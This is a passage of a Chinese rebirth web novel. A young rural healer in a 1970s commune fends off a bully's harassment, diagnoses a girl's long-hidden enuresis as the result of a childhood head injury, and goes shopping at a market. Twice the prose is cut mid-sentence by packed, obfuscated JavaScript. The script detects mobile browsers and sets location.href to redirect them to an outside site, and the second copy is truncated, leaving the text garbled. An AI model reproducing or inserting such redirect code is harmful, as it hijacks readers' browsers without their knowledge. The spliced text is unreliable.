打砸?想打想砸,那还不容易么,疯不疯的,金家人说是,别人谁敢说不是? 金家在秦集公社家大势大,金元宝他姐夫是副县长,所以即便都知道金家就是故意讹人,可谁敢管这闲事? 村里人对沈南星再怎么同情,也不会拼上一家子前途性命,跟金家作对。 若非是谈奶奶,她就真的要嫁给金元宝了,那还不如叫她立刻就死。 上辈子她不知道,真以为就是金元宝看上她才故意讹诈,后来第二次高考被骗回城后,被他们抢走录取通知书并且锁起来时,继姐沈文慧才告诉她实情。 说她第一次高考成绩被表妹顶替后,姑父怕她再考出好成绩,以后揭穿这一切,就想要把她彻底留在农村。 而金家正想要个长得好也聪明的儿媳妇,好给金家生个漂亮聪明的孙子,正巧姑父和金家小叔都是一个系统的,都认识,于是,就想出这么个办法。 说她给金元宝治坏了,逼她嫁给金元宝,要不然就送她去坐牢。 见色起意的金元宝可恨,背后设计这一切的,她的那位笑面虎姑父,更可恨。 * 秦集镇的主街道就一条,金家就在街道口,去公社院必须从这儿走,绕不过去。 今儿又不逢集,街道上人不多,街口这里金家那一排四间房子显眼的很。 如今国家还不允许个体经营,但金家也不说做生意,就只是弄些桌椅板凳,叫人坐着喝茶,也不收茶水费。 他们怎么挣钱呢,倒卖供销社里的东西。 供销社里的东西就算要钱要票,也非常紧俏,永远都不够卖,尤其是农村最缺的毛巾毛线布匹,还有搪瓷缸子暖水瓶等等工业品。 可以说,供销社里的东西一来,就直接被内部全买下来,柜台上就摆一两件,装个样子,卖完就没了,你有钱有票也买不到。 那要结婚的人,没个暖水瓶洗脸盆的,多寒碜。 来喝茶的人,谁想买东西又买不到的,就可以通过金家的手去买。 独家生意,这中间可不少挣。 你说既然有钱有票可以去县城买呀,县城那么远不说,去了不认识熟人,也是一样买不到。 相反的,在金家这里,只要你有钱有票,或者是非常有钱也可以不要票,你连自行车都能买到! 这算不算投机倒把? 算又如何,金元宝他姐夫现在是副县长,过去是G委会里的干部,你告一下试试? 反正金家就是这么挣钱的。 等再过两年,国家放开私营,在这小地方,对政策不熟悉,胆子也不大的人,没几个想到要开店做生意。 金家凭借着地理位置优势,以及人脉优势,直接开起铺子,把供销社的生意都给垄断了。 甚至公社街道上谁家想要开店,开什么店,首先都得经过金家同意。 即便是在现在,明眼人也都看得到,金家那日子,多少人想都不敢想。 这也是为何有人会说沈南星嫁给金元宝也没什么不好,毕竟对于穷怕了苦够了的人来说,天天白米细面,顿顿有鱼有肉,这可不就是神仙日子。 今天虽不逢集,金家门口却也围着好些人,金元宝也在其中,正叼着烟,吊儿郎当地站着。 沈南星和谈家悦从这儿经过,门口的人都看过来,也不知那些人说了什么,总归不会是什么好话,一阵哄笑声传来。 谈家悦低声啐道“一群二流子”,低着头拉着沈南星的手快步往前走。 “哎,走那么快做什么,又不会吃了你们。” 金元宝拦住姑嫂俩的去路,他肆无忌惮地在沈南星身上来回打量,吊梢眼里带着邪气:“昨晚上洞房夜,寂寞吧,这么漂亮的脸蛋,还有这一身比豆腐还白嫩的肉,三哥真是好福气。” 当年在道上三哥的名号可是响当当的,别看现在金元宝是秦集公社一霸,可当初在谈礼面前,他屁都不是,谈礼也从来都看不上他,不带他玩。 如今对于金元宝来说,这就是风水轮流转,当初威风霸道的三哥谈礼成了个活死人,他金元宝而今又是何等风光。 谈家那老不死的老太婆,坏了他的好事儿,让沈南星嫁给谈三礼,那又如何? 一个活死人,这么漂亮的媳妇给他了,他也无福消受,真当他还是从前那个说一不二人人都得给几分薄面的三哥呢,呵,他金元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062991|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝看上的女人,就没有弄不到手的。 沈南星这丫头也不识好歹,宁愿嫁给个活死人也不嫁给他。 行啊,路是她自己选的,好好的明媒正娶她不肯,那就别怪他偷着玩儿了,当初的三哥一脚把他踹下粪坑他还敢怒不敢言,现在的三哥只能躺那儿眼睁睁看他玩他的老婆,真是想一下就刺激。 “元宝你咋知道人家的肉比豆腐还白嫩?你是摸过还是吃过?” 一阵哄堂大笑。 “元宝你收敛点,人家现在可是三哥的老婆,是三嫂了,你敢摸三嫂,小心三哥从床上蹦起来再一脚给你踹粪坑去。” 又是一阵更加高亢的哄笑声。 谈家悦早就被这些人的污言秽语气得满脸通红,但这会儿在金家门口,她又不敢高声叫骂惹怒他们,只能挡在沈南星面前咬牙说道:“你们别太过分!” 被谈三礼踹下粪坑,那可是金元宝这辈子都忘不掉的耻辱。 他扭着头,一身邪气阴恻恻地瞪了提到粪坑那人一眼,那人吓得一个哆嗦,赶紧躲人群后面去了。 金元宝冷笑一声:“好玩不过嫂子,自己的老婆哪有嫂子香甜,三嫂,那就更香更甜了,你们说是不是。” “死肥猪,滚开,恶心不恶心。”金元宝一手拽住谈家悦的胳膊,想要把她推倒。 但他低估了谈家悦这个体重,拽一下竟然没转动。 后面又是一阵哄堂大笑。 金元宝气得眼都红了,双手使劲推谈家悦,谈家悦也是虚胖,这次终于是被推得踉跄着后退几步。 金元宝立马伸手去搂沈南星。 被推开的谈家悦,见金元宝要对沈南星动手动脚,她立马冲过来嚎叫起来,试图引来好心人,能给帮忙。 “你着什么急啊,宝哥跟三嫂叙叙旧而已嘛,毕竟原本要跟三嫂洞房的也是宝哥,这关系一般人可比不了……” 谈家悦被其他人拦住挣扎不开,眼看金元宝要欺负沈南星,她又急又气,浑身发抖。 沈南星脸上倒是没有太多表情,她不紧不慢地捏住金元宝伸过来的咸猪手,按在他的脉搏上。 她甚至还笑了笑:“头疼好了?” 金元宝也没想到她如此心平气和,眯了眯眼睛,似笑非笑:“没好,反而更疼了,一想你头就疼,还浑身发烫,这是什么病啊?” 沈南星一脸认真:“肾虚。” “噗哈哈,宝哥肾虚啊。” “三嫂怎么知道宝哥肾虚,这肯定是试过了吧哈哈哈。” 又是一阵哄笑。 金元宝盯着沈南星狞笑:“老子肾虚?” 沈南星点头:“赶紧去治吧,不然……就废了。” 她说着还扫了一眼金元宝的某处。 她的表情很自然,眼神冷淡,没有半点儿害羞的意思。 反倒是金元宝,被沈南星那冷淡的眼神一瞥,只觉得某处凉飕飕的,怎么站都不得劲。 他双腿忍不住动了一下,换个姿势,可那里的感觉更别扭了。 沈南星捏着金元宝的手松开,声音非常诚恳:“我是说真的,你赶紧去检查一下,再迟的话,你们金家就要断子绝孙了。” 金家是个大家族,但金元宝他爹,就只有金元宝这一个儿子,金元宝出点什么事,那他家可不就断子绝孙了么。 见沈南星说得认真,金元宝的脸色瞬间阴沉下来,一巴掌朝着沈南星脸上招呼过来:“我X你妈,臭B子给你脸了是吧,咒老子断子绝孙,不把你弄得下不来床,老子跟你姓!” 沈南星笑了,眼底却凝着霜:“可别,得上辈子做多少孽,才能有你这么个畜生孙子。” 当孙子都被嫌弃。 金元宝被气疯了,尤其是这么多人看着,沈南星这是把他面子狠狠地摔在地上又踩上几脚,他就是再怜香惜玉,这会儿也恼羞成怒。 金元宝一巴掌朝沈南星扇过来。 6. 第6章 眼看金元宝的巴掌朝沈南星脸上扇过去,沈南星却是连躲都不躲。 一边上被人拉住挣脱不了的谈家悦,又急又气。 她也不知道小南姐这是怎么了,刚才怎么一个劲儿地激怒金元宝,原本口头上吃点亏也算了,现在把金元宝气成这样,谁知道金元宝能做出来什么事! 她们姑嫂俩这会儿是求救无门,周围看热闹的人多,可谁敢得罪金元宝? “滴滴——” 极其响亮的喇叭声,吓了所有人一跳,金元宝的动作也顿住了。 一辆吉普车猛踩刹车停下来,驾驶座门打开,下来一个穿着的确良衬衫身材高大的男人,男人浓眉大眼,长得很不错,但明显一只脚有问题,走路一边高一边低。 他就这么坡着脚,走过来挡在沈南星和金元宝之间。 “元宝,大男人的,打女人就不好看了啊。” 金元宝哼笑一声:“我当是谁呢,原来是虎哥啊。” 秦虎扫一眼沈南星和谈家悦,见她们没有受伤,顺手给金元宝递了根烟。 “元宝,领导今儿在秦集公社开展工作,我刚回头取份文件,这就得送过去。” 秦虎说的这位领导,指的是县一把手,秦虎在给这位当司机,在公车改革之前,这领导的司机就相当于是领导的生活秘书,除了负责接送领导,领导的家事、私事,也都是司机跑腿。 一个司机不算什么,但一把手的司机当然另当别论。 能当上一把手的司机,必然是对方非常信任的人,他这嘴里歪上一句两句的,指不定就能成什么事或者坏什么事。 金元宝是不怕秦虎,他姐夫可是副县长,差点儿就能成为县长的,秦虎只是新县长的司机,他当然不必怕秦虎。但也确实没必要得罪秦虎。 当年,秦虎就是谈三礼的跟屁虫,显然,现在秦虎肯定也是因着谈三礼,才会多管闲事。 金元宝接过秦虎递来的烟,夹在指间,皮笑肉不笑:“虎哥的面子当然要给,行,今儿就不为难她们。” 是今儿。 以后日子还长着不是?他就不信秦虎还能天天守在这儿。 秦虎听出来音儿了,也没多说什么,点点头。 金元宝又哼笑一声:“虎哥这是还记着三哥的情分呢,消息倒是灵通。” 这指的是秦虎知道沈南星和谈礼结婚的事。 秦虎的确知道,谈奶奶来县城先找的他。 但他就一个司机,无关痛痒的事金家会给他点面子,真到关键时候,金家也不拿他当盘菜。 他就指点老太太,去找武装部和妇联那边出面,如果还是不成,他再跟领导说,求领导帮忙。 秦虎笑笑,并未多说什么:“我先走了,领导等着。” 说着他就看向沈南星和谈家悦:“你们去哪儿?” 沈南星还没说话,谈家悦立刻回答:“秦虎哥,我们去公社卫生院。” 秦虎点头:“上来吧,顺路。” 正说着呢,后面气喘吁吁地跑过来几个人,是会计栾为民带着俩青壮小伙一路跑来。 他们刚才坐拖拉机都快到北街榨油坊了,栾为民忽然想起来金家住这边,怕出事,赶紧带人过来。也没啥趁手的工具,路边找块砖都没有,更别说棍子啥的,一人路边捡了两块坨牛粪,还被一个拎框捡牛粪的娃娃追着屁股撵。 紧赶慢赶的,还是晚了,金元宝那二流子,还真敢大庭广众下欺负人! 没曾想,他们过来,正看到秦虎拦着金元宝说什么,好像又没事了。 栾为民到底年纪大了,跑得直喘气,好半天才问道:“没事儿吧。” 沈南星:“没事。” 谈家悦也赶紧说:“幸亏秦虎哥及时赶到,为民叔你们咋跑过来了?” “还不是怕你们出事。”栾为民看了一眼依旧满脸邪气的金元宝,低声说,“以后别往这边走。” 谈家悦连连点头:“秦虎哥要去公社院,捎带我们过去。” 栾为民松了口气:“行,那我们就回去榨油了。” 他又给秦虎递了根烟,这才带人离开,又顺手把牛粪丢那娃娃筐里。 秦虎见两人上了车,就跟金元宝点了点头,也上车启动。 眼看把金元宝等人甩在身后,谈家悦才松了口气,紧绷的身体也放松下来:“多亏秦虎哥了。” 秦虎从后视镜里看了一眼沈南星:“你们俩姑娘,能避免还是尽量避免跟这种人正面冲突。有时候口头上吃点亏也罢了,赶紧离开,自己的人身安全最重要。” 这话说的一点没错。 所以沈南星并未反驳。 上辈子到了后来,她可是公认的站在医道巅峰的存在。 对于有些人来说,她是能妙手回春的菩萨,但对于有些人来说,她可是夺命修罗,人间活阎王,只要她想,完全可以杀人于无形。 谈家悦连连点头:“知道了秦虎哥。” 秦虎沉吟片刻,低声说道:“你们这两天别乱跑,我想想办法。” 谈家悦一愣,赶紧说道:“秦虎哥,你已经帮很多忙了,你又在政府单位上班,跟金家起冲突会影响你工作。我们……我们尽量避开他就是了。” 秦虎没多说什么,在卫生院门口把两人放了下来。 卫生院的人跟沈南星都挺熟的,可是金元宝讹诈逼婚,最终导致沈南星嫁给一个植物人,这让大家看见沈南星都有些不知道说什么。 送新婚祝福? 那好像是在骂人。 大家只好冲沈南星笑笑,干脆就不提她结婚的话题:“小南来了,找美珍的吧,美珍在呢你直接过去。” “谢谢。” 沈南星点头,扫了一眼结构简单的卫生院,一眼就看到秦美珍所在的诊室。 沈南星过去的时候,秦美珍诊室里正有病人在,姑嫂俩就在门口站了站,没进去打扰,只是屋内的婶子习惯大声大气说话,在门外也听得清楚。 诊室里中年婶子的声音很是烦躁:“这丫头七八岁的时候有过,我就说是她懒,晚上睡觉懒得上茅房,打几回就好了,后来大了又有过一两回吧,可能是碰见什么脏东西魇住了,她八字轻。其他时候都好好的,我是再没想到,她这都十八九岁,正说亲呢,那老毛病又犯了……” 那婶子说着,声音里带上些羞恼,努力压低音调说道:“这回好似还更严重些,以往只是夜里尿床,现在大白天的,觉都没睡呢,哎哟哟大夫你瞅,你瞅瞅,这又开始了,你个死丫头想解手都不知道去厕所,丢死个人……” 秦美珍的声音也随之响起:“哎哎婶子你别急,桂香这不是生病了嘛,骂她有什么用,她也不想的。先把情况说清楚,就是以前小时候有过遗尿,后来好了,现在又出现遗尿症状对吧,严重时候就像现在这样,控制不住小便,对不对?” “对对,就是。”中年女人唉声叹气,“你说这好好的,咋就闹出这么个毛病?我们一家子都没这病啊。美珍咱这都自己人,婶儿也不瞒你,桂香的亲事都说个差不多了,那对象去年毕业分配到卫生局,一家子都是吃公家饭的,条件好得不得了,人家也相中这丫头,现在只等着年底这丫头够岁数就结婚,现在冷不丁地添了这毛病,这要治不好的话婚事可咋办啊。” 秦美珍直接说道:“婶儿,那你们赶紧去县医院做检查,看看是不是尿道感染,我们这里没条件做化验。” 桂香这毛病她早听说过,也就这婶子一家自以为瞒的严实。找了多少大夫都看不好的病,这婶儿也不知道咋想的,来找 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中年女人踌躇半天才说:“美珍,不是我怕花钱不想去县医院,是……这丫头那对象人家一家子都是公家单位的,他小姨就在县医院上班,去了要是碰上的话……” 秦美珍听出来了,这是怕人家知道姑娘有毛病了悔婚,想着自己先治,只要在结婚前治好就没事,这婚事就能继续,治不好非要瞒着强行结亲,那是在结仇。 “那……要不你们去新义县?就是有点远……”秦美珍道。 新义县是南明县的邻县,距离秦集镇的话有七八十公里,这年代农村还没有大巴车,确实挺远不好走。 诊室里还没商量出来个究竟,诊室外走廊上,卫生院负责接生的陈大夫从这儿经过,看到沈南星和谈家悦就笑道:“来找美珍?咋不进去呢。” 陈大夫嗓门儿比较大,诊室内的秦美珍一下就听见了。 秦美珍赶紧出来,看到沈南星眼睛一亮:“咋过来了?” 沈南星笑笑:“我来配点药。这是我小姑子谈家悦。” “哎呦哎呦。”秦美珍立马笑道,“你们来了站门口干嘛,赶紧进来坐呀。” 这年头可没人管你病人隐私不隐私的,人来了都直接进诊室在里边等着。 沈南星:“这不是里面有病人么,我们进去不合适。” 秦美珍一拍手,拉着沈南星进去对那女人说:“哎婶子,让我这妹子给桂香把把脉看看,她会中医,厉害的很。小南,这是我们村上我本家的婶子,自己人,她家姑娘这毛病你给瞧瞧。” 中年女人看见沈南星,有些惊讶,也有些迟疑:“美珍,这姑娘是……” “婶子你信我的话,就叫她给桂香看看,要觉得她年轻信不过,那你们就去新义县医院,或者再找别的大夫给瞅瞅。”秦美珍道。 中年女人拿不定主意:“花几个钱不怕,就怕耽误时间……” 婚期就定在麦收后,最多还有三个多月,谁都知道中药疗效慢,这吃上一两个月没效果的话,病没看好钱花了不说,关键时间也耽误了,再转看别的大夫也没时间了啊。 中年女人伸手戳了下叫桂香的女孩的头:“你这丫头吭一声啊。” 这姑娘很是漂亮,穿得也干净齐整,不过形体消瘦、面黄、双目无神、精神萎靡。 但此刻最让她抬不起头的是,她身下裤子都是湿的,屋内一股子尿骚味。 姑娘低头,声音很小:“就在这儿看。” 去本县的医院怕碰见男方的小姨或者熟人,新义县又那么远,她这些天情况更严重,就像现在一样小便根本控制不住,随时随地,她真是一个人都不想见,恨不得去跳井。 中年女人一咬牙:“行美珍,婶儿信你,就让这姑娘给看看。” 7. 第7章 沈南星坐下,没着急把脉,而是仔仔细细端详姑娘的脸。 “小便失禁是从什么时候开始的?”她问。 姑娘垂眼:“就这几日。” “几日?” “有四天了。” 沈南星:“夜间遗尿有多久了?” “……” 姑娘低着头没吭声。 她母亲赶紧代为回答:“以前小时候有过,后来大了前些年偶然魇住,有那么一两回吧。” 沈南星:“是吗?” 姑娘不敢抬头,轻轻点头。 沈南星又道:“之前大夫开的方子或者草药,带来了吗?” 只需要看药材就知道前面的大夫是什么思路。 “没得方子,大夫不给,不过还有两包药没吃,我给带来了。” 姑娘妈赶紧把药材包摊开在桌子上。 沈南星一边翻检药材一边问:“桂香上学时候学习怎么样?” 她这态度很随意,像是在闲聊。 桂香母亲道:“以前小学还行,考过双百呢,初中就不成了,笨的很,女娃不都是这样,小学的时候学习好,到初中脑子就赶不上男娃。” 桂香咬着唇,低声说:“我老头疼,学的东西记不住,跟我妈说过几次,她都不信。” “没去看过医生?”沈南星问。 “没。” 桂香母亲皱着眉头:“你这丫头,自己笨学不进去就说头疼。” “妈,我真头疼。”桂香看起来很是疲累。 “我看你就是偷奸耍滑……” “好了。”沈南星打断,温声说道,“手伸出来我摸下脉。” 望闻问切,沈南星从来不会只凭经验就轻易下判断,虽然此刻她已经知道桂香是什么情况了。 此刻搭上脉,再结合刚才的问诊,查体,桂香的情况果然跟她预料的一样。 沈南星道:“桂香小时候受过伤吧,头上。” 姑娘一愣。 她母亲也皱眉:“这我得想想,可是这跟她现在这羞死人的毛病有什么关系?” 沈南星:“肾主水,膀胱主尿液储存,肾与膀胱相表里,人体余液存于膀胱,得肾中阳气之气化,得肝之疏泄、脾之运化,使排出之为尿液……” 眼看一圈人都听得云里雾里,沈南星也就住了嘴。 不是她掉书袋,前世的她是重金难求的神医,她出了名的少言寡语,给人看病除了必要的问诊和交代用药之外,是一个字都不会多说的。 更不会像现在这样,去解释什么,因为她要看的患者实在太多,每个都解释一番的话,她得累死。 但那个时候患者对她有着完全的绝对的信任,根本不需要她解释什么,她让怎么做就怎么做,非常听话。 而现在情况不同,她只是个年轻没经验的女孩子,都还不是正规医生,甚至还是个“医坏了人”的庸医。 病人对她没有基础的信任感,她得给病人建立这种医患之间最基础的信任。 怎么建立呢? 最简单直接的当然是掉书袋,“卖弄”一下自己的学识,证明她是有学问有本事的,不是空口无凭,随意开药。 看此刻秦美珍、桂香母女,还有谈家悦全都用一种听不懂但很你很厉害的目光看着她,她的目的就算达到了。 沈南星也懒得说太多,她适时地停下理论解释,说道:“简单点说就是,尿液的形成跟肾肝脾有关,这三者任一出现问题,就可能导致遗尿,更严重的就是尿失禁。” 桂香母亲点头:“张镇量张大夫也是这么说的。可是……” “可是用药了却不见好。” “哎,可不就是嘛。” “所以我才问你桂香小时候是不是头上受过伤,她记忆力不好,总是头疼,精神也不好,这些都跟头有关,而从脉象上来看,她脑络瘀阻,不是一朝一夕形成的。” 沈南星又道,“如果我没说错的话,桂香虽然不失眠,但是多梦,精神上也容易烦躁不安,经常头疼,忘性大,有时候精神恍惚。她睡梦中遗尿并不是最近一段时间的事,而是持续了十年以上,每年都有。” “不可能!就几回呀。” 桂香母亲不愿意相信,可低着头捂着脸肩膀轻轻颤动的桂香,这般表现已经证明沈南星说的是对的。 桂香母亲脸色很白:“怎么会呢?” 桂香哭道:“小时候我一尿床你就打我,非说我懒,那么大了晚上起夜还懒得跑厕所尿床,你还跟边上左邻右舍都说,大家都知道我十来岁了还尿床,丢死人了。” “后来只要我白天一害怕一紧张,甚至只是累了,晚上就必定尿床,我哪敢再让你知道,我自己半夜就偷偷给洗了。” “我说头疼你也不信,说记不住东西你也不信……” “是,大夫说得对,我夜里尿床不是才几回,而是每年都有很多很多回,已经十几年了。” “最近因为处对象要结婚的事,我担心结婚之后自己尿床的毛病会遮掩不过,我每天都特别紧张,想说清楚又不敢,我也怕传出去我就彻底没名声了……” 沈南星看她:“结果就是,你遗尿的问题没解决,反而更严重,甚至达到了现在完全无法控制场合地尿失禁的程度。” 桂香扭过脸去无声地哭。 桂香母亲却是再也控制不住,一屁股坐在凳子上,失魂落魄。 秦美珍赶紧问:“婶子你先别哭,那桂香小时候头上到底是不是受过伤?” 桂香母亲勉强擦擦眼泪,努力回想:“非要说的话是有那么一回,是她五六岁的时候跟村里一群娃疯着玩,从麦秸垛子上摔下来,头上磕了个大包,不过没流血,煮个鸡蛋滚滚,过几天就下去了。那回我只当她是吓住了,连着好些天夜里都哭闹,也尿床,小孩子吓到不都爱尿床么,也不是什么大事,我也都没在意……” 说着说着,桂香母亲还是忍不住抱着闺女大哭起来:“桂香啊,妈真不知道你头伤一直没好,看着没出血,你也没别的毛病,就只当是没事,要早知道这么严重,妈肯定早就带你去看了……” 秦美珍在边上叹气:“看这闹的,婶子你家又不缺给桂香看病的钱,也不是那重男轻女的人家,你这肯定不是故意不管闺女的呀。” 谈家悦听了也很唏嘘:“咱们农村娃有几个没摔过的,头真摔坏人就傻了,谁能想到看起来没事,实际上却是留下病根的。” 家长脾气急,小孩怕挨骂就糊弄过去,糊弄久了毛病就越来越严重。 秦美珍:“对对,可不就是么,桂香你也别怨你妈,这谁都想不到对不对?哎小南,那你看桂香这病能治吗?她那对象确实是不错,咱们桂香长得漂亮人也勤快,多好的姻缘。” 沈南星点头:“能治,脑络瘀阻致使气血不调心肾不交,活血祛瘀即可,针灸加药物即可治疗。另外就是不要给姑娘太大的心理压力。您脾气太急了,得改改,姑娘都这么大了,有话好好说。” 桂香母亲脸一红,连连点头:“行行,我改,改。那小大夫,桂香这,得多久能治好?” “两个月能痊愈。” “真的?”桂香母亲喜不自胜,“这这……这可太好了!” 秦美珍忍不住看了沈南星一眼,颇为惊讶,以往沈南星说话从不会这么满,哪怕是看个伤风感冒,也不会告诉病人多久能治好,万一治不好的话,那不是自找麻烦么。 桂香自己也是不敢置信,一双眼睛盯着沈南星,亮得惊人:“大夫,真能治好?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦美珍抽了抽嘴角,直接摊手:“那我也治不了,叫他们去大医院得了。” 她可真是一点都不内耗。 桂香也松一口气,幸亏她这不是那什么脊髓栓系,不然就得做手术,还得去大医院,那就得叫所有人都知道,多丢脸啊。 秦美珍又问沈南星:“小南,桂香这情况,两个月真能治好?” 沈南星:“两个月是除根,见效的话,今天针灸完吃了药就能见效。” “这么快!不是说中医疗效慢吗?” “慢是因为辨证不对,或是调养身体,短时间内看不到效果。”沈南星说,“只要辨证对,最快一帖药起效,慢的话,三贴药下去还没效果,就该反思辨证对不对了。” 这位小沈大夫可真厉害,桂香只觉得自己从未有过的放松,渐渐的竟然睡着了。 时间差不多了,取针,也没喊醒熟睡的桂香,沈南星收拾针具放好,又叫秦美珍给她拿几包针灸用针。 这种针灸用针是国家发给赤脚大夫的,卫生院里有很多,一个小纸包,正面因着“为人民服务”,背面是“把卫生工作的重点放在农村”,底下还写的有哪个厂什么时间制。 秦美珍还顺手又给她拿了两瓶酒精,一包棉球,感慨道:“小南你可真厉害,我是真没那个天赋。对了,你今天来拿什么药?” 沈南星说要给谈礼配点药。 哦,是她为了不嫁金元宝,逼不得已嫁给他们村的那个植物人三混子啊。 秦美珍很想说些什么,但谈家悦也在呢,总不好在人家面前说人家哥哥的闲话。 秦美珍就叹气:“行,那你去吧。” 8. 第8章 沈南星到药房拿药。 给谈礼的,谈家悦的,还有刚才答应给栾为民的,还有给自己和谈老太调理的。 像是她和谈老太的,不一定要正儿八经熬药喝,煮在汤里粥里,做成药膳都可以。 给这么多人用,总量却并不太多,中药方子并不是用的种类越多越好,实际上辨证对了,有时候一两味药就能治大病。 那些动不动开几十味药的大方,不说全部,但绝大部分都是辨证不到位,就只能按照患者表述的症状开药,像是不惜子弹大面积扫射一样,指望着总有一味药能管用。 但大方就意味着药材种类多,药性也多,中药讲究的君臣佐使就容易乱套,轻则无效,重则会使病情加重,甚至引发别的问题,比如肾衰。 这就叫:药对症一口汤,不对症用船装。 沈南星把自己要用的药材单子给了药房,让收费员算账,她自己帮着抓药的姑娘去抓药。 抓药的这姑娘叫宋柳,就是栾宋大队卫生室的赤脚大夫宋建国的闺女。 宋柳还有个哥哥叫宋全,村卫生室以后肯定是宋全接班。 一个卫生室也用不了几个人,宋柳她爹就托关系把宋柳送来公社卫生院当个临时工,想着让她学点妇科上的本事,接生啊什么的,以后一辈子都有饭吃。怎么样都比当农民轻松。 不过公社卫生院暂时不缺妇产科的卫生员,宋柳这个临时工进来就被分配到药房负责抓药。 以往沈南星来也大多都是在药房帮忙,宋柳就能把药房的事儿交给沈南星,她自己则跑去妇产诊室,跟妇科医生、卫生员们套近乎,也帮着人家干点杂活。 宋柳嘴甜,人也会来事,在妇科那边确实也学到了点东西。因此对于沈南星在这儿帮忙的事儿,她是最高兴的。 如今因着金元宝讹诈逼婚的事儿,沈南星已经一个多月没来过公社卫生院,没人替宋柳,宋柳也没法再去偷师。 这会儿看见沈南星,宋柳就眼前一亮。 她一边帮着给沈南星拣药一边说道:“那金家也太欺负人了,金元宝喜欢你的话,大可好好去你家提亲,非来这么一出逼婚。” 沈南星没吭声。 宋柳又道:“小南你现在结婚了,那就没办法再复读了吧,真是可惜,你学习那么好,去年是失误了,报的学校太高,你再好好复习今年肯定能上大学的。” 村里人都只知道沈南星学习好却没考上大学,以为是报考失误或者别的原因,包括她自己也是这么认为的。 她的高考成绩被姑姑家表姐林秀秀顶替这事儿,恐怕只有沈家人和林家人知道。 村里当然也有人说沈南星是平时成绩好,一到关键时候就不行。反正各种说法都有。 “哎对了,听说县里又有培训班了,你基础那么好,看看要不要找找关系去培训,培训出来说不定能去县医院当个临时工也行呀,再不济也能正式进咱们这公社卫生院。” 沈南星:“我哪有什么关系。” 宋柳道:“你没有,谈家肯定有啊。你看金家多霸道,还不是跟谈家低了头,把你这个金元宝看上的媳妇都让给谈家了,那谈家肯定有外人不知道的关系。不是说谈三礼他爹在外头当大官的吗?你都跟他结婚了,让谈家找找关系呗。” 沈南星瞥了宋柳一眼:“我跟谈礼早就在处对象,本就定好等他回来就结婚,金元宝故意讹诈逼婚,谈礼的军籍可还在呢,武装部当然要管,应当应分的事,谁说动用关系了?” “你俩真的早就在处对象?啥时候的事也没听你说啊,我还当你是搪塞金家胡说的呢……” 宋柳有些惋惜,“我还说谈家有关系的话,你能去培训也是好前程呢。有点儿可惜了,你要是嫁给金元宝,以金家的关系,你去培训完肯定铁板钉钉能进县医院,金元宝他姐夫可是副县长呢。” 沈南星懒得跟她废话那么多,配好药付了钱就走人。 回去还要经过金家门口,谈家悦心里还是很忐忑,不过还好,没再碰上金元宝。 谈家悦还跟沈南星说:“以后还是尽量别来公社,要拿药或者买东西的话叫我来,或者让我哥他们来,小南姐你要是想赶集,咱们去张寨或者杨营公社,多走二三里地的事儿。” 沈南星也没多说什么,她知道刚才那出还是吓到谈家悦这小姑娘了。 两人又一起去了供销社,她要买点日用品。但不管问啥,售货员都说卖完了。 谈家悦快要气哭。 像是牙膏牙刷这些,乡下卖的的确少,村里一些老人一辈子都没刷过牙,年轻的愿意刷牙的大多没钱没票,买不起牙刷,那就用柳枝、猪毛自己做,买点便宜的牙粉或者干脆是用盐刷就成。 供销社这些牙刷牙膏大部分都是卖给城里来下乡插队的知青,别的东西都紧缺,这个是不会紧缺的。 这会儿明明有却不卖给沈南星,显然是刚才跟金元宝的那一出争执都被看见了。 这供销社主任跟金家关系那么近,暗地里又有那么多的买卖在,售货员们也是见风使舵。 不卖就不卖吧,沈南星带着谈家悦转身出门。 刚拐了个弯,有个姑娘跑过来,给沈南塞了个纸包:“以后你要啥,悄悄去家里找我,我帮你买。” 那姑娘说完,也不等沈南星给她拿钱就赶紧跑了,生怕人看见。 沈南星想了好一会儿才想起来,这姑娘应该也是在卫生院,找她看过病吧,叫什么她还真想不起来,年代太久远了。 从这边离开,沈南星拉着谈家悦,在集市这条街上走。 虽然今天不逢集,但也有卖瓜子的,还有国营的肉铺,国营饭店。 要不说秦集公社在十里八乡算不错的呢,这时候很多公社都没有国营饭店的,往往只有县城才有,毕竟农民谁舍得去国营饭店吃饭,消费那么高还要票。 但秦集公社就有国营饭店。 沈南星手里有钱有票,如今的钱票,可跟她上辈子账户里那一长串数字给人的感觉完全不一样。 拿着这些钱票,她就心痒痒,再者肚子也饿了。 您这瓜子什么口味的,咋卖?五香的啊,3分钱一大碗,两碗5分卖不卖,成,我没带东西,您用荷叶给我包起来吧。 哟,这是啥,河里捞的小鱼,看着不像炸的。噢噢是锅里不放油,用小火慢慢给焙干的呀,吃起来酥脆吗,行我尝一条,哎呦真好吃,您给我算便宜点,就这么些我给包圆了吧。 这是秋里自家晾晒的柿饼?买。 哎您自家熬的梨膏,还放了冰糖,难得,嗯,味儿很正,买。 这是自家树上摘下来晒的红枣,核桃,确实好,肉厚也没虫,买。 …… 谈家悦擓的箩筐里,原本放的药材都被这些东西给盖住了。 眼见沈南星看到有人卖竹编的小筐,她也要买,她赶紧给拉住。 “小南姐,这个我也会编,你想要啥样的我回头给你编。” 可别乱花钱了。 沈南星一看那满篮子的东西,终于遗憾收手,哎呀真开心。 上辈子她其实挺喜欢购物减压,太累了或者心情不好的时候,她会一个人去商场,各种商品琳琅满目,她也不要保镖,自己提到两只手都提不下为止,反正钱多到花不完,她也从不操心钱的事。 可那时候买得再多,都没有满足感和幸福感。 后来她学着慢慢买东西,慢慢挑,给她资助的山区女童挑衣服鞋子,挑生活用品学习用品,她亲自挑,大批量定制,再叫人给邮寄过去。 